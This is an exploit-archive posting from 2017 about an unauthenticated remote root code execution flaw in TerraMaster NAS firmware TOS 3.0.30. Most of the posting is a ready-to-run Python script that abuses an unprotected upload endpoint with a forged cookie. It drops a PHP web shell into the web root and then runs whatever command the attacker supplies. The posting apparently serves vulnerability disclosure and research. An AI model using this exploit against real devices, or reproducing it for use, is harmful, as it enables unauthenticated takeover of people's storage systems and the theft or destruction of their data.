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TerraMaster F2-420 NAS TOS 3.0.30 Code Execution

TerraMaster F2-420 NAS TOS 3.0.30 Code Execution
Posted May 31, 2017
Authored by Simone Margaritelli

TerraMaster F2-420 NAS TOS version 3.0.30 suffers from an unauthenticated remote root code execution vulnerability.

tags | exploit, remote, root, code execution
MD5 | 2719a3913cd96f69928a95ca4f994342

TerraMaster F2-420 NAS TOS 3.0.30 Code Execution

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# Source: https://www.evilsocket.net/2017/05/30/Terramaster-NAS-Unauthenticated-RCE-as-root/

#!/usr/bin/python
# coding: utf8
#
# Exploit: Unauthenticated RCE as root.
# Vendor: TerraMaster
# Product: TOS <= 3.0.30 (running on every NAS)
# Author: Simone 'evilsocket' Margaritelli <evilsocket@protonmail.com>
import sys
import requests
def upload( address, port, filename, path = '/usr/www/' ):
url = "http://%s:%d/include/upload.php?targetDir=%s" % ( address, port, path )
try:
files = { 'file': open( filename, 'rb' ) }
cookies = { 'kod_name': '1' } # LOL :D
r = requests.post(url, files=files, cookies=cookies)
if r.text != '{"jsonrpc" : "2.0", "result" : null, "id" : "id"}':
print "! Unexpected response, exploit might not work:\n%s\n" % r.text
return True
except Exception as e:
print "\n! ERROR: %s" % e
return False
def rce( address, port, command ):
with open( '/tmp/p.php', 'w+t' ) as fp:
fp.write( "<?php system('%s'); ?>" % command )
if upload( address, port, '/tmp/p.php' ) == True:
try:
url = "http://%s:%d/p.php" % ( address, port )
return requests.get(url).text
except Exception as e:
print "\n! ERROR: %s" % e
return None
if len(sys.argv) < 3:
print "Usage: exploit.py <ip|hostname> <command> (port=8181)\n"
quit()
target = sys.argv[1]
command = sys.argv[2]
port = 8181 if len(sys.argv) < 4 else int(sys.argv[3])
out = rce( target, port, command )
if out is not None:
print out.strip()

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